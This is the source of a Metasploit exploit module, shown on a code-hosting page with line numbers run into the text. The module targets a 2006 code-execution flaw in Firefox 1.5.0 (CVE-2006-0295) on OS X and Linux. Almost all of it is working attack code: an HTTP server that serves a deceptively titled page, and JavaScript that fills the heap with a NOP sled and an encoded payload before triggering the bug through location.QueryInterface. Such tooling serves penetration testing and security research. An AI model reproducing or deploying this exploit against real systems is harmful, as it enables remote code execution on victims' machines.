Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/firefox_queryinterface.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(update_info(info,15'Name' => 'Firefox location.QueryInterface() Code Execution',16'Description' => %q{17This module exploits a code execution vulnerability in the Mozilla18Firefox browser. To reliably exploit this vulnerability, we need to fill19almost a gigabyte of memory with our nop sled and payload. This module has20been tested on OS X 10.3 with the stock Firefox 1.5.0 package.21},22'License' => MSF_LICENSE,23'Author' => ['hdm'],24'References' =>25[26['CVE', '2006-0295'],27['OSVDB', '22893'],28['BID', '16476'],29['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],30],31'Payload' =>32{33'Space' => 1000 + (rand(256).to_i * 4),34'BadChars' => "\x00",35},36'Platform' => %w{ osx linux },37'Targets' =>38[39[ 'Firefox 1.5.0.0 Mac OS X',40{41'Platform' => 'osx',42'Arch' => ARCH_PPC43}44],4546[ 'Firefox 1.5.0.0 Linux',47{48'Platform' => 'linux',49'Arch' => ARCH_X86,50}51],52],53'DisclosureDate' => '2006-02-02'54))55end5657def on_request_uri(cli, request)5859# Re-generate the payload60return if ((p = regenerate_payload(cli)) == nil)6162print_status("Sending #{self.name}")63send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })64handler(cli)65end6667def generate_html(payload)6869enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))70enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))7172return <<-EOF73<html>74<head>75<title>One second please...</title>76<script language="javascript">7778function BodyOnLoad() {79h = FillHeap();80location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));81};8283function FillHeap() {84// Filler85var m = "";86var h = "";87var a = 0;8889// Nop sled90for(a=0; a<(1024*256); a++)91m += unescape("#{enc_nops}");9293// Payload94m += unescape("#{enc_code}");9596// Repeat97for(a=0; a<1024; a++)98h += m;99100// Return101return h;102}103</script>104</head>105<body onload="BodyOnLoad()">106</body>107</html>108EOF109end110end111112113